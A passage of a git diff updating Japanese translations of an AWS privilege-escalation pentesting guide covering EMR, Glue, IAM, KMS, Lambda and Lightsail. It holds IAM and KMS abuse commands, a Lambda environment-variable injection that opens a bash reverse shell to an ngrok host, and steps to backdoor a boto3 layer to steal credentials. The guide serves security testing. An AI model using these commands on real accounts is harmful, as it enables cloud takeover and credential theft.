が指定されていることです。しかし、この技術はEC2ロールの資格情報を盗むことしかできず(ssh経由で接続するため)、EMR IAMロールは盗むことができません。 +**EMRロール**が`--service-role`で指定され、**ec2ロール**が`--ec2-attributes`で指定されていることに注意してください。ただし、この技術はEC2ロールの資格情報を盗むことしかできず(ssh経由で接続するため)、EMR IAMロールを盗むことはできません。 **潜在的な影響:** 指定されたEC2サービスロールへの権限昇格。 @@ -47,16 +47,16 @@ aws emr describe-cluster --cluster-id > [!CAUTION] > ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。 -**潜在的な影響:** AWS管理ロール arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile への権限昇格。 +**潜在的な影響:** AWS管理ロールarn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへの権限昇格。 ### `elasticmapreduce:OpenEditorInConsole` -この権限だけで、攻撃者は **Jupyter Notebookにアクセスし、それに関連付けられたIAMロールを盗む** ことができます。\ -ノートブックのURLは `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` です。 +この権限だけで、攻撃者は**Jupyterノートブックにアクセスし、それに関連するIAMロールを盗む**ことができます。\ +ノートブックのURLは`https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`です。 > [!CAUTION] > ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。 -**潜在的な影響:** AWS管理ロール arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile への権限昇格。 +**潜在的な影響:** AWS管理ロールarn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへの権限昇格。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index f43ae1829..d6c0be065 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,9 +6,9 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -これらの権限を持つユーザーは、**新しいAWS Glue開発エンドポイントを設定**し、**特定の権限を持つ既存のサービスロールをGlueによって引き受け可能な形でこのエンドポイントに割り当てる**ことができます。 +これらの権限を持つユーザーは、**新しいAWS Glue開発エンドポイントを設定し**、**特定の権限を持つ既存のサービスロールをGlueによって引き受け可能な形でこのエンドポイントに割り当てることができます**。 -セットアップ後、**攻撃者はエンドポイントのインスタンスにSSHで接続し**、割り当てられたロールのIAM資格情報を盗むことができます: +セットアップ後、**攻撃者はエンドポイントのインスタンスにSSHで接続し**、割り当てられたロールのIAM資格情報を盗むことができます: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ @@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -ステルス目的のために、Glue仮想マシン内のIAM資格情報を使用することをお勧めします。 +ステルス目的のために、Glue仮想マシン内のIAM資格情報を使用することが推奨されます。 -**潜在的な影響:** 指定されたGlueサービスロールへの権限昇格。 +**潜在的な影響:** 指定されたGlueサービスロールへの権限昇格。 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -この権限を持つユーザーは、**既存のGlue開発**エンドポイントのSSHキーを**変更でき、SSHアクセスを有効にします**。これにより、攻撃者はエンドポイントに付随するロールの権限でコマンドを実行できます: +この権限を持つユーザーは、**既存のGlue開発**エンドポイントのSSHキーを**変更でき、SSHアクセスを有効にします**。これにより、攻撃者はエンドポイントに接続されたロールの権限でコマンドを実行できます。 ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -**`iam:PassRole`** と **`glue:CreateJob` または `glue:UpdateJob`** のいずれか、さらに **`glue:StartJobRun` または `glue:CreateTrigger`** のいずれかを組み合わせたユーザーは、**AWS Glue ジョブを作成または更新**し、任意の **Glue サービスアカウント**を添付し、ジョブの実行を開始できます。ジョブの機能には、任意の Python コードを実行することが含まれ、これを利用してリバースシェルを確立することができます。このリバースシェルは、その後、Glue ジョブに添付されたロールの **IAM 認証情報**を抽出するために利用され、ロールの権限に基づく潜在的な不正アクセスや行動につながる可能性があります。 +**`iam:PassRole`** と **`glue:CreateJob` または `glue:UpdateJob`** のいずれか、さらに **`glue:StartJobRun` または `glue:CreateTrigger`** のいずれかを組み合わせたユーザーは、**AWS Glue ジョブを作成または更新**し、任意の **Glue サービスアカウント**を添付し、ジョブの実行を開始できます。このジョブの機能には、任意の Python コードを実行することが含まれており、これを利用してリバースシェルを確立することができます。このリバースシェルは、そのジョブに添付されたロールの **IAM 認証情報**を抽出するために利用され、結果としてそのロールの権限に基づく不正アクセスや行動につながる可能性があります。 ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -75,9 +75,9 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ ### `glue:UpdateJob` -更新権限だけで、攻撃者は既に接続されているロールのIAM資格情報を盗むことができる。 +更新権限だけで、攻撃者は既にアタッチされたロールのIAM資格情報を盗むことができる。 -**潜在的な影響:** 接続されているglueサービスロールへの権限昇格。 +**潜在的な影響:** アタッチされたglueサービスロールへの権限昇格。 ## 参考文献 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index f0c1d9e5b..b56c036ec 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -IAMに関する詳細情報は以下を確認してください: +IAMに関する詳細情報は次を確認してください: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,7 +12,7 @@ IAMに関する詳細情報は以下を確認してください: ### **`iam:CreatePolicyVersion`** -新しいIAMポリシーバージョンを作成する能力を付与し、`--set-as-default`フラグを使用して`iam:SetDefaultPolicyVersion`権限の必要性を回避します。これにより、カスタム権限を定義できます。 +新しいIAMポリシーバージョンを作成する能力を付与し、`--set-as-default`フラグを使用することで`iam:SetDefaultPolicyVersion`権限の必要性を回避します。これにより、カスタム権限を定義できます。 **Exploit Command:** ```bash @@ -29,11 +29,11 @@ IAMポリシーのデフォルトバージョンを別の既存のバージョ ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**影響:** より多くの権限を有効にすることによる間接的な権限昇格。 +**影響:** より多くの権限を有効にすることによる間接的な特権昇格。 ### **`iam:CreateAccessKey`** -他のユーザーのためにアクセスキーIDとシークレットアクセスキーを作成することを可能にし、権限昇格の可能性を引き起こします。 +他のユーザーのためにアクセスキーIDとシークレットアクセスキーを作成することを可能にし、特権昇格の可能性を引き起こします。 **悪用:** ```bash @@ -50,7 +50,7 @@ AWSコンソールログインのためのパスワード設定を含むログ aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**更新のためのエクスプロイト:** +**アップデートのためのエクスプロイト:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' @@ -71,7 +71,7 @@ aws iam update-access-key --access-key-id --status Active --user 特定のAWSサービス(例:CodeCommit、Amazon Keyspaces)のための資格情報を生成またはリセットすることを可能にし、関連するユーザーの権限を継承します。 -**作成のための悪用:** +**作成のためのエクスプロイト:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` @@ -79,17 +79,17 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**影響:** ユーザーのサービス権限内での直接的な権限昇格。 +**影響:** ユーザーのサービス権限内での直接的な特権昇格。 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -ユーザーまたはグループにポリシーを添付することを許可し、添付されたポリシーの権限を継承することによって権限を直接昇格させます。 +ユーザーまたはグループにポリシーを添付することを許可し、添付されたポリシーの権限を継承することによって特権を直接昇格させます。 **ユーザーのためのエクスプロイト:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**グループのためのエクスプロイト:** +**グループのエクスプロイト:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` @@ -99,7 +99,7 @@ aws iam attach-group-policy --group-name --policy-arn " ロール、ユーザー、またはグループにポリシーを添付または設定することを許可し、追加の権限を付与することによって直接的な権限昇格を可能にします。 -**ロールのための悪用:** +**ロールのためのエクスプロイト:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -あなたは次のようなポリシーを使用できます: +ポリシーを次のように使用できます: ```json { "Version": "2012-10-17", @@ -131,7 +131,7 @@ aws iam put-role-policy --role-name --policy-name "" \ ### **`iam:AddUserToGroup`** -自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限を昇格させる。 +自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限を昇格させます。 **悪用:** ```bash @@ -141,7 +141,7 @@ aws iam add-user-to-group --group-name --user-name ### **`iam:UpdateAssumeRolePolicy`** -ロールのアサムロールポリシー文書を変更することを許可し、ロールとその関連する権限の引き受けを可能にします。 +ロールのアサムポリシー文書を変更することを許可し、ロールとその関連する権限の引き受けを可能にします。 **悪用:** ```bash @@ -163,11 +163,11 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**影響:** 任意のロールの権限を引き受けることによる直接的な権限昇格。 +**影響:** 任意のロールの権限を引き受けることによる直接的な特権昇格。 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -CodeCommitへの認証のためにSSH公開鍵をアップロードし、MFAデバイスを無効にすることを許可し、潜在的な間接的権限昇格につながる。 +CodeCommitへの認証のためにSSH公開鍵をアップロードし、MFAデバイスを無効にすることを許可し、潜在的な間接的特権昇格につながる。 **SSHキーアップロードのためのエクスプロイト:** ```bash @@ -177,13 +177,13 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**影響:** CodeCommitアクセスを有効にするか、MFA保護を無効にすることによる間接的な特権昇格。 +**影響:** CodeCommit アクセスを有効にするか、MFA 保護を無効にすることによる間接的な特権昇格。 ### **`iam:ResyncMFADevice`** -MFAデバイスの再同期を許可し、MFA保護を操作することによって間接的な特権昇格を引き起こす可能性があります。 +MFA デバイスの再同期を許可し、MFA 保護を操作することによって間接的な特権昇格につながる可能性があります。 -**Bashコマンド:** +**Bash コマンド:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 @@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name --serial-number ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -これらの権限を持つことで、**SAML接続のXMLメタデータを変更**することができます。次に、**SAMLフェデレーション**を悪用して、**信頼している任意のロールでログイン**することができます。 +これらの権限を持つことで、**SAML接続のXMLメタデータを変更**することができます。その後、**SAMLフェデレーション**を悪用して、**信頼している**任意の**ロール**で**ログイン**することができます。 -これを行うと、**正当なユーザーはログインできなくなる**ことに注意してください。しかし、XMLを取得できるので、自分のものを入れてログインし、以前の設定を構成することができます。 +これを行うと、**正当なユーザーはログインできなくなる**ことに注意してください。しかし、XMLを取得できるので、自分のものを入れてログインし、以前の設定を戻すことができます。 ```bash # List SAMLs aws iam list-saml-providers @@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(不明)攻撃者がこれらの**権限**を持っている場合、プロバイダーを信頼するすべてのロールにログインするために新しい**サムプリント**を追加できる。 +(これについては不明)攻撃者がこれらの**権限**を持っている場合、プロバイダーを信頼するすべてのロールにログインするために新しい**サムプリント**を追加することができる。 ```bash # List providers aws iam list-open-id-connect-providers diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 21d50b135..6c15d0d49 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -KMSに関する詳細情報は以下を確認してください: +KMSに関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,7 +12,7 @@ KMSに関する詳細情報は以下を確認してください: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -これらの権限を持つことで、**キーへのアクセス権限を変更**し、他のアカウントや誰でも使用できるようにすることが可能です: +これらの権限を持つことで、**キーへのアクセス権限を変更**し、他のアカウントや誰でも使用できるようにすることが可能です: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -49,7 +49,7 @@ policy.json: ``` ### `kms:CreateGrant` -それは**プリンシパルがKMSキーを使用することを許可します:** +これは**プリンシパルがKMSキーを使用することを許可します:** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ @@ -60,7 +60,7 @@ aws kms create-grant \ > グラントは特定のタイプの操作のみを許可できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> グラントが生成された後、KMSが**ユーザーにキーの使用を許可するまでに数分かかる場合がある**ことに注意してください。その時間が経過すると、プリンシパルは何も指定せずにKMSキーを使用できます。\ +> グラントが生成された後、KMSが**ユーザーにキーの使用を許可するまでに数分かかる場合があります**。その時間が経過すると、プリンシパルは何も指定せずにKMSキーを使用できます。\ > ただし、すぐにグラントを使用する必要がある場合は[グラントトークンを使用してください](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)(以下のコードを確認してください)。\ > [**詳細についてはこれをお読みください**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash @@ -70,7 +70,7 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -注意:キーのグラントをリストすることが可能です: +キーの付与をリストすることが可能であることに注意してください: ```bash aws kms list-grants --key-id ``` @@ -78,7 +78,7 @@ aws kms list-grants --key-id これらの権限を持つことで、異なるポリシーを持つ異なるリージョンにマルチリージョン対応のKMSキーを複製することが可能です。 -したがって、攻撃者はこれを悪用して、キーへのアクセスを取得し、それを使用することができます。 +したがって、攻撃者はこれを悪用して、キーへのアクセスを取得し、使用することができます。 ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml @@ -101,7 +101,7 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re ### `kms:Decrypt` この権限は、キーを使用して情報を復号化することを許可します。\ -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index aa3123f7a..640b2a8e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -14,7 +14,7 @@ lambdaに関する詳細情報は以下を参照してください: **`iam:PassRole`, `lambda:CreateFunction`, および `lambda:InvokeFunction`** 権限を持つユーザーは、特権を昇格させることができます。\ 彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます(例えばrev shellを使用して)**。\ -関数が設定されると、ユーザーは**AWS APIを通じてLambda関数を呼び出すことで、その実行をトリガーし、意図したアクションを実行することができます**。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することが可能になります。\\ +関数が設定されると、ユーザーは**その実行をトリガーし**、AWS APIを通じてLambda関数を呼び出すことで意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することができます。\\ 攻撃者はこれを悪用して**rev shellを取得し、トークンを盗む**ことができます: ```python:rev.py @@ -75,11 +75,11 @@ cat output.txt **潜在的な影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。 > [!CAUTION] -> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** **は**単独では**`aws lambda invoke-async`**を**実行することを許可しません**。`lambda:InvokeFunction`も必要です。 +> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async`** を実行することを許可しません。`lambda:InvokeFunction` も必要です。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -前のシナリオと同様に、**`lambda:AddPermission`**の権限があれば、**自分に`lambda:InvokeFunction`**の権限を**付与することができます**。 +前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、**自分に `lambda:InvokeFunction`** の権限を付与することができます。 ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ @@ -92,14 +92,14 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_ **`iam:PassRole`, `lambda:CreateFunction`, および `lambda:CreateEventSourceMapping`** 権限を持つユーザー(おそらく `dynamodb:PutItem` および `dynamodb:CreateTable` も含む)は、`lambda:InvokeFunction` なしでも間接的に **権限を昇格** させることができます。\ 彼らは **悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる** ことができます。 -ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガーされ**、渡されたIAMロールの権限でコードが実行されます。 +ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガー** され、渡されたIAMロールの権限でコードが実行されます。 ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーは**Lambda関数のイベントソースマッピングを設定するだけで済みます**。しかし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**: +DynamoDBがAWS環境で既にアクティブであれば、ユーザーは**Lambda関数のイベントソースマッピングを設定するだけで済みます**。ただし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -107,13 +107,13 @@ aws dynamodb create-table --table-name my_table \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` -今、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**: +現在、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -DynamoDBストリームにリンクされたLambda関数を使用して、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは、**DynamoDBテーブルにアイテムを挿入することによって実現できます**: +DynamoDBストリームにリンクされたLambda関数を使用すると、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは**DynamoDBテーブルにアイテムを挿入することによって**実現できます: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} @@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \ ### `lambda:AddPermission` -この権限を持つ攻撃者は**自分自身(または他の人)に任意の権限を付与することができる**(これはリソースベースのポリシーを生成してリソースへのアクセスを付与します): +この権限を持つ攻撃者は**自分自身(または他の人)に任意の権限を付与することができます**(これはリソースベースのポリシーを生成してリソースへのアクセスを付与します): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -144,7 +144,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` **`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。**\ -攻撃者は**IAM資格情報を外部に流出させるためにLambdaのコードを変更することができます。** +攻撃者は**IAM資格情報を外部に流出させるためにlambdaのコードを変更することができます。** 攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。 ```bash @@ -163,7 +163,7 @@ aws lambda invoke --function-name my_function output.txt #### 環境変数を介したRCE -この権限を持つことで、Lambdaが任意のコードを実行する原因となる環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます: +この権限を持つことで、Lambdaが任意のコードを実行する環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` @@ -175,7 +175,7 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat #### Lambdaレイヤーを介したRCE -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。 +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。 ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます。 ```python @@ -185,7 +185,7 @@ import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` -これらは場所です: +これらの場所です: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -202,35 +202,35 @@ print(json.dumps(sys.path, indent=2)) #### 悪用 -`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**あなたのコードを追加**することができるかもしれません。 +`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**自分のコードを追加**することができるかもしれません。 例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します: ```bash pip3 install -t ./lambda_layer boto3 ``` -`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードにバックドアを追加**します(例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など)。 +`./lambda_layer/boto3/__init__.py`を開き、**グローバルコードにバックドアを追加**できます(例えば、資格情報を抽出する関数やリバースシェルを取得する関数など)。 -次に、その `./lambda_layer` ディレクトリを zip し、**新しいラムダレイヤーを**自分のアカウント(または被害者のアカウント)に**アップロード**しますが、これには権限がないかもしれません。\ -また、/opt/python/boto3 を上書きするために、python フォルダを作成し、ライブラリをそこに置く必要があります。また、レイヤーはラムダで使用される**Pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。 +次に、その`./lambda_layer`ディレクトリをzip圧縮し、**新しいlambdaレイヤーを**自分のアカウントにアップロードします(または被害者のアカウントにアップロードしますが、その場合は権限がないかもしれません)。\ +また、/opt/python/boto3を上書きするために、pythonフォルダを作成し、ライブラリをそこに置く必要があります。さらに、レイヤーはlambdaで使用される**pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。 ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -今、アップロードしたラムダレイヤーを**任意のアカウントからアクセス可能にします**: +アップロードしたlambdaレイヤーを**すべてのアカウントからアクセス可能にする**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -そして、被害者のlambda関数にlambdaレイヤーを添付します: +被害者のlambda関数にlambdaレイヤーを添付します: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。これはより安全な方法です。 +次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。後者がより安全な方法です。 -**この脆弱性を利用するためのよりステルスな方法**は以下にあります: +**この脆弱性を利用するよりステルスな方法**は以下にあります: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -240,11 +240,11 @@ aws lambda update-function-configuration \ ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法を見つけられなかったので、もし見つけたら教えてください! +これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法が見つからなかったので、もし見つけたら教えてください! ### Lambda MitM -いくつかのラムダは、**ユーザーからのパラメータで機密情報を受け取ることになります。** そのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください: +いくつかのlambdaは、**ユーザーからのパラメータで機密情報を受け取る**ことになります。もしそのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index cb796c5f4..7ddb9220d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,18 +4,18 @@ ## Lightsail -Lightsailに関する詳細情報は、以下を確認してください: +Lightsailに関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> Lightsailは**ユーザーに属するIAMロールを使用しない**ことに注意することが重要です。代わりにAWS管理アカウントを使用するため、このサービスを利用して権限昇格を行うことはできません。しかし、**機密データ**(コード、APIキー、データベース情報など)がこのサービス内に存在する可能性があります。 +> Lightsailは**ユーザーに属するIAMロールを使用しない**が、AWS管理アカウントに属するため、このサービスを利用して権限昇格を行うことはできません。しかし、**機密データ**(コード、APIキー、データベース情報など)がこのサービス内に存在する可能性があります。 ### `lightsail:DownloadDefaultKeyPair` -この権限を使用すると、インスタンスにアクセスするためのSSHキーを取得できます: +この権限により、インスタンスにアクセスするためのSSHキーを取得できます: ``` aws lightsail download-default-key-pair ``` @@ -39,7 +39,7 @@ aws lightsail create-bucket-access-key --bucket-name ### `lightsail:GetRelationalDatabaseMasterUserPassword` -この権限を使用すると、データベースにアクセスするための資格情報を取得できます。 +この権限により、データベースにアクセスするための資格情報を取得できます: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` @@ -47,11 +47,11 @@ aws lightsail get-relational-database-master-user-password --relational-database ### `lightsail:UpdateRelationalDatabase` -この権限により、データベースにアクセスするためのパスワードを変更できます。 +この権限を使用すると、データベースにアクセスするためのパスワードを変更できます。 ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` -もしデータベースが公開されていない場合、次の権限を使用して公開することもできます。 +データベースが公開されていない場合、これらの権限を使用して公開することもできます。 ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` @@ -75,22 +75,22 @@ aws lightsail 